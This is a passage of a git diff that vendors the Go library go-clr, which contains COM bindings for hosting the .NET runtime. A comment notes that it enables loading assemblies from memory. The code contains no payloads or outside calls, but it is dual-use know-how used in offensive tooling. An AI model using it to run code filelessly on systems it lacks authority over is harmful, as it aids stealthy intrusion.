+ // DF0B3D60-548F-101B-8E65-08002B2BD119 https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-isupporterrorinfo
+ IID_ISupportErrorInfo = windows.GUID{Data1: 0xDF0B3D60, Data2: 0x548F, Data3: 0x101B, Data4: [8]byte{0x8e, 0x65, 0x08, 0x00, 0x2b, 0x2b, 0xd1, 0x19}}
+)
diff --git a/vendor/github.com/Ne0nd0g/go-clr/hresult.go b/vendor/github.com/Ne0nd0g/go-clr/hresult.go
new file mode 100644
index 0000000000..097be9ddf5
--- /dev/null
+++ b/vendor/github.com/Ne0nd0g/go-clr/hresult.go
@@ -0,0 +1,22 @@
+package clr
+
+// https://docs.microsoft.com/en-us/dotnet/framework/interop/how-to-map-hresults-and-exceptions
+// https://docs.microsoft.com/en-us/windows/win32/seccrypto/common-hresult-values
+
+const (
+ S_OK = 0x00
+ S_FALSE = 0x01
+ // COR_E_TARGETINVOCATION is TargetInvocationException
+ // https://docs.microsoft.com/en-us/dotnet/api/system.reflection.targetinvocationexception?view=net-5.0
+ COR_E_TARGETINVOCATION uint32 = 0x80131604
+ // COR_E_SAFEARRAYRANKMISMATCH is SafeArrayRankMismatchException
+ COR_E_SAFEARRAYRANKMISMATCH uint32 = 0x80131538
+ // COR_E_BADIMAGEFORMAT is BadImageFormatException
+ COR_E_BADIMAGEFORMAT uint32 = 0x8007000b
+ // DISP_E_BADPARAMCOUNT is invalid number of parameters
+ DISP_E_BADPARAMCOUNT uint32 = 0x8002000e
+ // E_POINTER Pointer that is not valid
+ E_POINTER uint32 = 0x80004003
+ // E_NOINTERFACE No such interface supported
+ E_NOINTERFACE uint32 = 0x80004002
+)
diff --git a/vendor/github.com/Ne0nd0g/go-clr/iclrmetahost.go b/vendor/github.com/Ne0nd0g/go-clr/iclrmetahost.go
new file mode 100644
index 0000000000..57f8e4f20c
--- /dev/null
+++ b/vendor/github.com/Ne0nd0g/go-clr/iclrmetahost.go
@@ -0,0 +1,187 @@
+// +build windows
+
+package clr
+
+import (
+ "fmt"
+ "syscall"
+ "unsafe"
+
+ "golang.org/x/sys/windows"
+)
+
+// Couldnt have done any of this without this SO answer I stumbled on:
+// https://stackoverflow.com/questions/37781676/how-to-use-com-component-object-model-in-golang
+
+//ICLRMetaHost Interface from metahost.h
+type ICLRMetaHost struct {
+ vtbl *ICLRMetaHostVtbl
+}
+
+// ICLRMetaHostVtbl provides methods that return a specific version of the common language runtime (CLR)
+// based on its version number, list all installed CLRs, list all runtimes that are loaded in a specified
+// process, discover the CLR version used to compile an assembly, exit a process with a clean runtime
+// shutdown, and query legacy API binding.
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-interface
+type ICLRMetaHostVtbl struct {
+ QueryInterface uintptr
+ AddRef uintptr
+ Release uintptr
+ // GetRuntime gets the ICLRRuntimeInfo interface that corresponds to a particular CLR version.
+ // This method supersedes the CorBindToRuntimeEx function used with the STARTUP_LOADER_SAFEMODE flag.
+ GetRuntime uintptr
+ // GetVersionFromFile gets the assembly's original .NET Framework compilation version (stored in the metadata),
+ // given its file path. This method supersedes GetFileVersion.
+ GetVersionFromFile uintptr
+ // EnumerateInstalledRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface
+ // pointer for each CLR version that is installed on a computer.
+ EnumerateInstalledRuntimes uintptr
+ // EnumerateLoadedRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface
+ // pointer for each CLR that is loaded in a given process. This method supersedes GetVersionFromProcess.
+ EnumerateLoadedRuntimes uintptr
+ // RequestRuntimeLoadedNotification guarantees a callback to the specified function pointer when a
+ // CLR version is first loaded, but not yet started. This method supersedes LockClrVersion
+ RequestRuntimeLoadedNotification uintptr
+ // QueryLegacyV2RuntimeBinding returns an interface that represents a runtime to which legacy activation policy
+ // has been bound, for example by using the useLegacyV2RuntimeActivationPolicy attribute on the Element
+ // configuration file entry, by direct use of the legacy activation APIs, or by calling the
+ // ICLRRuntimeInfo::BindAsLegacyV2Runtime method.
+ QueryLegacyV2RuntimeBinding uintptr
+ // ExitProcess attempts to shut down all loaded runtimes gracefully and then terminates the process.
+ ExitProcess uintptr
+}
+
+// CLRCreateInstance provides one of three interfaces: ICLRMetaHost, ICLRMetaHostPolicy, or ICLRDebugging.
+// HRESULT CLRCreateInstance(
+// [in] REFCLSID clsid,
+// [in] REFIID riid,
+// [out] LPVOID * ppInterface
+// );
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clrcreateinstance-function
+func CLRCreateInstance(clsid, riid windows.GUID) (ppInterface *ICLRMetaHost, err error) {
+ debugPrint("Entering into iclrmetahost.CLRCreateInstance()...")
+
+ if clsid != CLSID_CLRMetaHost {
+ err = fmt.Errorf("the input Class ID (CLSID) is not supported: %s", clsid)
+ return
+ }
+
+ modMSCoree := syscall.MustLoadDLL("mscoree.dll")
+ procCLRCreateInstance := modMSCoree.MustFindProc("CLRCreateInstance")
+
+ // For some reason this procedure call returns "The specified procedure could not be found." even though it works
+ hr, _, err := procCLRCreateInstance.Call(
+ uintptr(unsafe.Pointer(&clsid)),
+ uintptr(unsafe.Pointer(&riid)),
+ uintptr(unsafe.Pointer(&ppInterface)),
+ )
+
+ if err != nil {
+ // TODO Figure out why "The specified procedure could not be found." is returned even though everything works fine?
+ debugPrint(fmt.Sprintf("the mscoree!CLRCreateInstance function returned an error:\r\n%s", err))
+ }
+ if hr != S_OK {
+ err = fmt.Errorf("the mscoree!CLRCreateInstance function returned a non-zero HRESULT: 0x%x", hr)
+ return
+ }
+ err = nil
+ return
+}
+
+func (obj *ICLRMetaHost) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
+ debugPrint("Entering into icorruntimehost.QueryInterface()...")
+ hr, _, err := syscall.Syscall(
+ obj.vtbl.QueryInterface,
+ 3,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
+ uintptr(ppvObject),
+ )
+ if err != syscall.Errno(0) {
+ return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
+ }
+ if hr != S_OK {
+ return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
+ }
+ return nil
+}
+
+func (obj *ICLRMetaHost) AddRef() uintptr {
+ ret, _, _ := syscall.Syscall(
+ obj.vtbl.AddRef,
+ 1,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ 0)
+ return ret
+}
+
+func (obj *ICLRMetaHost) Release() uintptr {
+ ret, _, _ := syscall.Syscall(
+ obj.vtbl.Release,
+ 1,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ 0)
+ return ret
+}
+
+// EnumerateInstalledRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface for each
+// version of the common language runtime (CLR) that is installed on a computer.
+// HRESULT EnumerateInstalledRuntimes (
+// [out, retval] IEnumUnknown **ppEnumerator);
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-enumerateinstalledruntimes-method
+func (obj *ICLRMetaHost) EnumerateInstalledRuntimes() (ppEnumerator *IEnumUnknown, err error) {
+ debugPrint("Entering into iclrmetahost.EnumerateInstalledRuntimes()...")
+ hr, _, err := syscall.Syscall(
+ obj.vtbl.EnumerateInstalledRuntimes,
+ 2,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(unsafe.Pointer(&ppEnumerator)),
+ 0,
+ )
+ if err != syscall.Errno(0) {
+ err = fmt.Errorf("there was an error calling the ICLRMetaHost::EnumerateInstalledRuntimes method:\r\n%s", err)
+ return
+ }
+ if hr != S_OK {
+ err = fmt.Errorf("the ICLRMetaHost::EnumerateInstalledRuntimes method returned a non-zero HRESULT: 0x%x", hr)
+ return
+ }
+ err = nil
+ return
+}
+
+// GetRuntime gets the ICLRRuntimeInfo interface that corresponds to a particular version of the common language runtime (CLR).
+// This method supersedes the CorBindToRuntimeEx function used with the STARTUP_LOADER_SAFEMODE flag.
+// HRESULT GetRuntime (
+// [in] LPCWSTR pwzVersion,
+// [in] REFIID riid,
+// [out,iid_is(riid), retval] LPVOID *ppRuntime
+// );
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-getruntime-method
+func (obj *ICLRMetaHost) GetRuntime(pwzVersion *uint16, riid windows.GUID) (ppRuntime *ICLRRuntimeInfo, err error) {
+ debugPrint("Entering into iclrmetahost.GetRuntime()...")
+
+ hr, _, err := syscall.Syscall6(
+ obj.vtbl.GetRuntime,
+ 4,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(unsafe.Pointer(pwzVersion)),
+ uintptr(unsafe.Pointer(&IID_ICLRRuntimeInfo)),
+ uintptr(unsafe.Pointer(&ppRuntime)),
+ 0,
+ 0,
+ )
+
+ if err != syscall.Errno(0) {
+ err = fmt.Errorf("there was an error calling the ICLRMetaHost::GetRuntime method:\r\n%s", err)
+ return
+ }
+ if hr != S_OK {
+ err = fmt.Errorf("the ICLRMetaHost::GetRuntime method returned a non-zero HRESULT: 0x%x", hr)
+ return
+ }
+ err = nil
+ return
+}
diff --git a/vendor/github.com/Ne0nd0g/go-clr/iclrruntimehost.go b/vendor/github.com/Ne0nd0g/go-clr/iclrruntimehost.go
new file mode 100644
index 0000000000..32e76daa04
--- /dev/null
+++ b/vendor/github.com/Ne0nd0g/go-clr/iclrruntimehost.go
@@ -0,0 +1,158 @@
+// +build windows
+
+package clr
+
+import (
+ "fmt"
+ "syscall"
+ "unsafe"
+)
+
+type ICLRRuntimeHost struct {
+ vtbl *ICLRRuntimeHostVtbl
+}
+
+// ICLRRuntimeHostVtbl provides functionality similar to that of the ICorRuntimeHost interface
+// provided in the .NET Framework version 1, with the following changes
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-interface
+type ICLRRuntimeHostVtbl struct {
+ QueryInterface uintptr
+ AddRef uintptr
+ Release uintptr
+ // Start Initializes the CLR into a process.
+ Start uintptr
+ // Stop Stops the execution of code by the runtime.
+ Stop uintptr
+ // SetHostControl sets the host control interface. You must call SetHostControl before calling Start.
+ SetHostControl uintptr
+ // GetCLRControl gets an interface pointer of type ICLRControl that hosts can use to customize
+ // aspects of the common language runtime (CLR).
+ GetCLRControl uintptr
+ // UnloadAppDomain Unloads the AppDomain that corresponds to the specified numeric identifier.
+ UnloadAppDomain uintptr
+ // ExecuteInAppDomain Specifies the AppDomain in which to execute the specified managed code.
+ ExecuteInAppDomain uintptr
+ // GetCurrentAppDomainID gets the numeric identifier of the AppDomain that is currently executing.
+ GetCurrentAppDomainId uintptr
+ // ExecuteApplication used in manifest-based ClickOnce deployment scenarios to specify the application
+ // to be activated in a new domain.
+ ExecuteApplication uintptr
+ // ExecuteInDefaultAppDomain Invokes the specified method of the specified type in the specified assembly.
+ ExecuteInDefaultAppDomain uintptr
+}
+
+// GetICLRRuntimeHost is a wrapper function that takes an ICLRRuntimeInfo object and
+// returns an ICLRRuntimeHost and loads it into the current process
+func GetICLRRuntimeHost(runtimeInfo *ICLRRuntimeInfo) (*ICLRRuntimeHost, error) {
+ debugPrint("Entering into iclrruntimehost.GetICLRRuntimeHost()...")
+ var runtimeHost *ICLRRuntimeHost
+ err := runtimeInfo.GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, unsafe.Pointer(&runtimeHost))
+ if err != nil {
+ return nil, err
+ }
+
+ err = runtimeHost.Start()
+ return runtimeHost, err
+}
+
+func (obj *ICLRRuntimeHost) AddRef() uintptr {
+ ret, _, _ := syscall.Syscall(
+ obj.vtbl.AddRef,
+ 1,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ 0)
+ return ret
+}
+
+func (obj *ICLRRuntimeHost) Release() uintptr {
+ ret, _, _ := syscall.Syscall(
+ obj.vtbl.Release,
+ 1,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ 0)
+ return ret
+}
+
+// Start Initializes the common language runtime (CLR) into a process.
+// HRESULT Start();
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-start-method
+func (obj *ICLRRuntimeHost) Start() error {
+ debugPrint("Entering into iclrruntimehost.Start()...")
+ hr, _, err := syscall.Syscall(
+ obj.vtbl.Start,
+ 1,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ 0,
+ )
+ if err != syscall.Errno(0) {
+ return fmt.Errorf("the ICLRRuntimeHost::Start method returned an error:\r\n%s", err)
+ }
+ if hr != S_OK {
+ return fmt.Errorf("the ICLRRuntimeHost::Start method method returned a non-zero HRESULT: 0x%x", hr)
+ }
+ return nil
+}
+
+// ExecuteInDefaultAppDomain Calls the specified method of the specified type in the specified managed assembly.
+// HRESULT ExecuteInDefaultAppDomain (
+// [in] LPCWSTR pwzAssemblyPath,
+// [in] LPCWSTR pwzTypeName,
+// [in] LPCWSTR pwzMethodName,
+// [in] LPCWSTR pwzArgument,
+// [out] DWORD *pReturnValue
+// );
+// An LPCWSTR is a 32-bit pointer to a constant string of 16-bit Unicode characters, which MAY be null-terminated.
+// Use syscall.UTF16PtrFromString to turn a string into a LPCWSTR
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-executeindefaultappdomain-method
+func (obj *ICLRRuntimeHost) ExecuteInDefaultAppDomain(pwzAssemblyPath, pwzTypeName, pwzMethodName, pwzArgument *uint16) (pReturnValue *uint32, err error) {
+ hr, _, err := syscall.Syscall9(
+ obj.vtbl.ExecuteInDefaultAppDomain,
+ 6,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(unsafe.Pointer(pwzAssemblyPath)),
+ uintptr(unsafe.Pointer(pwzTypeName)),
+ uintptr(unsafe.Pointer(pwzMethodName)),
+ uintptr(unsafe.Pointer(pwzArgument)),
+ uintptr(unsafe.Pointer(pReturnValue)),
+ 0,
+ 0,
+ 0)
+ if err != syscall.Errno(0) {
+ err = fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned an error:\r\n%s", err)
+ return
+ }
+ if hr != S_OK {
+ err = fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero HRESULT: 0x%x", hr)
+ return
+ }
+ err = nil
+ return
+}
+
+// GetCurrentAppDomainID Gets the numeric identifier of the AppDomain that is currently executing.
+// HRESULT GetCurrentAppDomainId(
+// [out] DWORD* pdwAppDomainId
+// );
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-getcurrentappdomainid-method
+func (obj *ICLRRuntimeHost) GetCurrentAppDomainID() (pdwAppDomainId uint32, err error) {
+ hr, _, err := syscall.Syscall(
+ obj.vtbl.GetCurrentAppDomainId,
+ 2,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(unsafe.Pointer(&pdwAppDomainId)),
+ 0,
+ )
+ if err != syscall.Errno(0) {
+ err = fmt.Errorf("the ICLRRuntimeHost::GetCurrentAppDomainID method returned an error:\r\n%s", err)
+ return
+ }
+ if hr != S_OK {
+ err = fmt.Errorf("the ICLRRuntimeHost::GetCurrentAppDomainID method returned a non-zero HRESULT: 0x%x", hr)
+ return
+ }
+ err = nil
+ return
+}
diff --git a/vendor/github.com/Ne0nd0g/go-clr/iclrruntimeinfo.go b/vendor/github.com/Ne0nd0g/go-clr/iclrruntimeinfo.go
new file mode 100644
index 0000000000..aba6adb4b9
--- /dev/null
+++ b/vendor/github.com/Ne0nd0g/go-clr/iclrruntimeinfo.go
@@ -0,0 +1,211 @@
+// +build windows
+
+package clr
+
+import (
+ "fmt"
+ "syscall"
+ "unsafe"
+
+ "golang.org/x/sys/windows"
+)
+
+type ICLRRuntimeInfo struct {
+ vtbl *ICLRRuntimeInfoVtbl
+}
+
+// ICLRRuntimeInfoVtbl Provides methods that return information about a specific common language runtime (CLR),
+// including version, directory, and load status. This interface also provides runtime-specific functionality
+// without initializing the runtime. It includes the runtime-relative LoadLibrary method, the runtime
+// module-specific GetProcAddress method, and runtime-provided interfaces through the GetInterface method.
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-interface
+type ICLRRuntimeInfoVtbl struct {
+ QueryInterface uintptr
+ AddRef uintptr
+ Release uintptr
+ // GetVersionString Gets common language runtime (CLR) version information associated with a given
+ // ICLRRuntimeInfo interface. This method supersedes the GetRequestedRuntimeInfo and GetRequestedRuntimeVersion methods.
+ GetVersionString uintptr
+ // GetRuntimeDirectory Gets the installation directory of the CLR associated with this interface.
+ // This method supersedes the GetCORSystemDirectory method.
+ GetRuntimeDirectory uintptr
+ // IsLoaded Indicates whether the CLR associated with the ICLRRuntimeInfo interface is loaded into a process.
+ IsLoaded uintptr
+ // LoadErrorString Translates an HRESULT value into an appropriate error message for the specified culture.
+ // This method supersedes the LoadStringRC and LoadStringRCEx methods.
+ LoadErrorString uintptr
+ // LoadLibrary Loads a library from the framework directory of the CLR represented by an ICLRRuntimeInfo interface.
+ // This method supersedes the LoadLibraryShim method.
+ LoadLibrary uintptr
+ // GetProcAddress Gets the address of a specified function that was exported from the CLR associated with
+ // this interface. This method supersedes the GetRealProcAddress method.
+ GetProcAddress uintptr
+ // GetInterface Loads the CLR into the current process and returns runtime interface pointers,
+ // such as ICLRRuntimeHost, ICLRStrongName and IMetaDataDispenser. This method supersedes all the CorBindTo* functions.
+ GetInterface uintptr
+ // IsLoadable Indicates whether the runtime associated with this interface can be loaded into the current
+ // process, taking into account other runtimes that might already be loaded into the process.
+ IsLoadable uintptr
+ // SetDefaultStartupFlags Sets the CLR startup flags and host configuration file.
+ SetDefaultStartupFlags uintptr
+ // GetDefaultStartupFlags Gets the CLR startup flags and host configuration file.
+ GetDefaultStartupFlags uintptr
+ // BindAsLegacyV2Runtime Binds this runtime for all legacy CLR version 2 activation policy decisions.
+ BindAsLegacyV2Runtime uintptr
+ // IsStarted Indicates whether the CLR that is associated with the ICLRRuntimeInfo interface has been started.
+ IsStarted uintptr
+}
+
+// GetRuntimeInfo is a wrapper function to return an ICLRRuntimeInfo from a standard version string
+func GetRuntimeInfo(metahost *ICLRMetaHost, version string) (*ICLRRuntimeInfo, error) {
+ pwzVersion, err := syscall.UTF16PtrFromString(version)
+ if err != nil {
+ return nil, err
+ }
+ return metahost.GetRuntime(pwzVersion, IID_ICLRRuntimeInfo)
+}
+
+func (obj *ICLRRuntimeInfo) AddRef() uintptr {
+ ret, _, _ := syscall.Syscall(
+ obj.vtbl.AddRef,
+ 1,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ 0)
+ return ret
+}
+
+func (obj *ICLRRuntimeInfo) Release() uintptr {
+ debugPrint("Entering into iclrruntimeinfo.Release()...")
+ ret, _, _ := syscall.Syscall(
+ obj.vtbl.Release,
+ 1,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ 0)
+ return ret
+}
+
+// GetVersionString gets common language runtime (CLR) version information associated with a given ICLRRuntimeInfo interface.
+// HRESULT GetVersionString(
+// [out, size_is(*pcchBuffer)] LPWSTR pwzBuffer,
+// [in, out] DWORD *pcchBuffer);
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-getversionstring-method
+func (obj *ICLRRuntimeInfo) GetVersionString() (version string, err error) {
+ debugPrint("Entering into iclrruntimeinfo.GetVersion()...")
+ // [in, out] Specifies the size of pwzBuffer to avoid buffer overruns. If pwzBuffer is null, pchBuffer returns the required size of pwzBuffer to allow preallocation.
+ var pchBuffer uint32
+ hr, _, err := syscall.Syscall(
+ obj.vtbl.GetVersionString,
+ 3,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ uintptr(unsafe.Pointer(&pchBuffer)),
+ )
+ if err != syscall.Errno(0) {
+ err = fmt.Errorf("there was an error calling the ICLRRuntimeInfo::GetVersionString method during preallocation:\r\n%s", err)
+ return
+ }
+ // 0x8007007a = The data area passed to a system call is too small, expected when passing a nil buffer for preallocation
+ if hr != S_OK && hr != 0x8007007a {
+ err = fmt.Errorf("the ICLRRuntimeInfo::GetVersionString method (preallocation) returned a non-zero HRESULT: 0x%x", hr)
+ return
+ }
+
+ pwzBuffer := make([]uint16, 20)
+
+ hr, _, err = syscall.Syscall(
+ obj.vtbl.GetVersionString,
+ 3,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(unsafe.Pointer(&pwzBuffer[0])),
+ uintptr(unsafe.Pointer(&pchBuffer)),
+ )
+ if err != syscall.Errno(0) {
+ err = fmt.Errorf("there was an error calling the ICLRRuntimeInfo::GetVersionString method:\r\n%s", err)
+ return
+ }
+ if hr != S_OK {
+ err = fmt.Errorf("the ICLRRuntimeInfo::GetVersionString method returned a non-zero HRESULT: 0x%x", hr)
+ return
+ }
+ err = nil
+ version = syscall.UTF16ToString(pwzBuffer)
+ return
+}
+
+// GetInterface loads the CLR into the current process and returns runtime interface pointers,
+// such as ICLRRuntimeHost, ICLRStrongName, and IMetaDataDispenserEx.
+// HRESULT GetInterface(
+// [in] REFCLSID rclsid,
+// [in] REFIID riid,
+// [out, iid_is(riid), retval] LPVOID *ppUnk); unsafe pointer of a pointer to an object pointer
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-getinterface-method
+func (obj *ICLRRuntimeInfo) GetInterface(rclsid windows.GUID, riid windows.GUID, ppUnk unsafe.Pointer) error {
+ debugPrint("Entering into iclrruntimeinfo.GetInterface()...")
+ hr, _, err := syscall.Syscall6(
+ obj.vtbl.GetInterface,
+ 4,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(unsafe.Pointer(&rclsid)),
+ uintptr(unsafe.Pointer(&riid)),
+ uintptr(ppUnk),
+ 0,
+ 0,
+ )
+ // The syscall returns "The requested lookup key was not found in any active activation context." in the error position
+ // TODO Why is this error message returned?
+ if err != syscall.Errno(0) && err.Error() != "The requested lookup key was not found in any active activation context." {
+ return fmt.Errorf("the ICLRRuntimeInfo::GetInterface method returned an error:\r\n%s", err)
+ }
+ if hr != S_OK {
+ return fmt.Errorf("the ICLRRuntimeInfo::GetInterface method returned a non-zero HRESULT: 0x%x", hr)
+ }
+ return nil
+}
+
+// BindAsLegacyV2Runtime binds the current runtime for all legacy common language runtime (CLR) version 2 activation policy decisions.
+// HRESULT BindAsLegacyV2Runtime ();
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-bindaslegacyv2runtime-method
+func (obj *ICLRRuntimeInfo) BindAsLegacyV2Runtime() error {
+ debugPrint("Entering into iclrruntimeinfo.BindAsLegacyV2Runtime()...")
+ hr, _, err := syscall.Syscall(
+ obj.vtbl.BindAsLegacyV2Runtime,
+ 1,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ 0,
+ )
+ if err != syscall.Errno(0) {
+ return fmt.Errorf("the ICLRRuntimeInfo::BindAsLegacyV2Runtime method returned an error:\r\n%s", err)
+ }
+ if hr != S_OK {
+ return fmt.Errorf("the ICLRRuntimeInfo::BindAsLegacyV2Runtime method returned a non-zero HRESULT: 0x%x", hr)
+ }
+ return nil
+}
+
+// IsLoadable indicates whether the runtime associated with this interface can be loaded into the current process,
+// taking into account other runtimes that might already be loaded into the process.
+// HRESULT IsLoadable(
+// [out, retval] BOOL *pbLoadable);
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-isloadable-method
+func (obj *ICLRRuntimeInfo) IsLoadable() (pbLoadable bool, err error) {
+ debugPrint("Entering into iclrruntimeinfo.IsLoadable()...")
+ hr, _, err := syscall.Syscall(
+ obj.vtbl.IsLoadable,
+ 2,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(unsafe.Pointer(&pbLoadable)),
+ 0)
+ if err != syscall.Errno(0) {
+ err = fmt.Errorf("the ICLRRuntimeInfo::IsLoadable method returned an error:\r\n%s", err)
+ return
+ }
+ if hr != S_OK {
+ err = fmt.Errorf("the ICLRRuntimeInfo::IsLoadable method returned a non-zero HRESULT: 0x%x", hr)
+ return
+ }
+ err = nil
+ return
+}
diff --git a/vendor/github.com/Ne0nd0g/go-clr/icorruntimehost.go b/vendor/github.com/Ne0nd0g/go-clr/icorruntimehost.go
new file mode 100644
index 0000000000..c8e77a8c5c
--- /dev/null
+++ b/vendor/github.com/Ne0nd0g/go-clr/icorruntimehost.go
@@ -0,0 +1,231 @@
+// +build windows
+
+package clr
+
+import (
+ "fmt"
+ "syscall"
+ "unsafe"
+
+ "golang.org/x/sys/windows"
+)
+
+type ICORRuntimeHost struct {
+ vtbl *ICORRuntimeHostVtbl
+}
+
+// ICORRuntimeHostVtbl Provides methods that enable the host to start and stop the common language runtime (CLR)
+// explicitly, to create and configure application domains, to access the default domain, and to enumerate all
+// domains running in the process.
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-interface
+type ICORRuntimeHostVtbl struct {
+ QueryInterface uintptr
+ AddRef uintptr
+ Release uintptr
+ // CreateLogicalThreadState Do not use.
+ CreateLogicalThreadState uintptr
+ // DeleteLogicalThreadSate Do not use.
+ DeleteLogicalThreadState uintptr
+ // SwitchInLogicalThreadState Do not use.
+ SwitchInLogicalThreadState uintptr
+ // SwitchOutLogicalThreadState Do not use.
+ SwitchOutLogicalThreadState uintptr
+ // LocksHeldByLogicalThreadState Do not use.
+ LocksHeldByLogicalThreadState uintptr
+ // MapFile Maps the specified file into memory. This method is obsolete.
+ MapFile uintptr
+ // GetConfiguration Gets an object that allows the host to specify the callback configuration of the CLR.
+ GetConfiguration uintptr
+ // Start Starts the CLR.
+ Start uintptr
+ // Stop Stops the execution of code in the runtime for the current process.
+ Stop uintptr
+ // CreateDomain Creates an application domain. The caller receives an interface pointer of
+ // type _AppDomain to an instance of type System.AppDomain.
+ CreateDomain uintptr
+ // GetDefaultDomain Gets an interface pointer of type _AppDomain that represents the default domain for the current process.
+ GetDefaultDomain uintptr
+ // EnumDomains Gets an enumerator for the domains in the current process.
+ EnumDomains uintptr
+ // NextDomain Gets an interface pointer to the next domain in the enumeration.
+ NextDomain uintptr
+ // CloseEnum Resets a domain enumerator back to the beginning of the domain list.
+ CloseEnum uintptr
+ // CreateDomainEx Creates an application domain. This method allows the caller to pass an
+ // IAppDomainSetup instance to configure additional features of the returned _AppDomain instance.
+ CreateDomainEx uintptr
+ // CreateDomainSetup Gets an interface pointer of type IAppDomainSetup to an AppDomainSetup instance.
+ // IAppDomainSetup provides methods to configure aspects of an application domain before it is created.
+ CreateDomainSetup uintptr
+ // CreateEvidence Gets an interface pointer of type IIdentity, which allows the host to create security
+ // evidence to pass to CreateDomain or CreateDomainEx.
+ CreateEvidence uintptr
+ // UnloadDomain Unloads the specified application domain from the current process.
+ UnloadDomain uintptr
+ // CurrentDomain Gets an interface pointer of type _AppDomain that represents the domain loaded on the current thread.
+ CurrentDomain uintptr
+}
+
+// GetICORRuntimeHost is a wrapper function that takes in an ICLRRuntimeInfo and returns an ICORRuntimeHost object
+// and loads it into the current process. This is the "deprecated" API, but the only way currently to load an assembly
+// from memory (afaict)
+func GetICORRuntimeHost(runtimeInfo *ICLRRuntimeInfo) (*ICORRuntimeHost, error) {
+ debugPrint("Entering into icorruntimehost.GetICORRuntimeHost()...")
+ var runtimeHost *ICORRuntimeHost
+ err := runtimeInfo.GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, unsafe.Pointer(&runtimeHost))
+ if err != nil {
+ return nil, err
+ }
+
+ err = runtimeHost.Start()
+ return runtimeHost, err
+}
+
+func (obj *ICORRuntimeHost) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
+ debugPrint("Entering into icorruntimehost.QueryInterface()...")
+ hr, _, err := syscall.Syscall(
+ obj.vtbl.QueryInterface,
+ 3,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
+ uintptr(ppvObject),
+ )
+ if err != syscall.Errno(0) {
+ fmt.Println("1111111111111")
+ return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
+ }
+ if hr != S_OK {
+ fmt.Println("222222222222222222")
+ return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
+ }
+ return nil
+}
+
+func (obj *ICORRuntimeHost) AddRef() uintptr {
+ ret, _, _ := syscall.Syscall(
+ obj.vtbl.AddRef,
+ 1,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ 0)
+ return ret
+}
+
+func (obj *ICORRuntimeHost) Release() uintptr {
+ ret, _, _ := syscall.Syscall(
+ obj.vtbl.Release,
+ 1,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ 0)
+ return ret
+}
+
+// Start starts the common language runtime (CLR).
+// HRESULT Start ();
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-start-method
+func (obj *ICORRuntimeHost) Start() error {
+ debugPrint("Entering into icorruntimehost.Start()...")
+ hr, _, err := syscall.Syscall(
+ obj.vtbl.Start,
+ 1,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ 0,
+ )
+ if err != syscall.Errno(0) {
+ // The system could not find the environment option that was entered.
+ // TODO Why is this error message returned?
+ debugPrint(fmt.Sprintf("the ICORRuntimeHost::Start method returned an error:\r\n%s", err))
+ }
+ if hr != S_OK {
+ return fmt.Errorf("the ICORRuntimeHost::Start method method returned a non-zero HRESULT: 0x%x", hr)
+ }
+ return nil
+}
+
+// GetDefaultDomain gets an interface pointer of type System._AppDomain that represents the default domain for the current process.
+// HRESULT GetDefaultDomain (
+// [out] IUnknown** pAppDomain
+// );
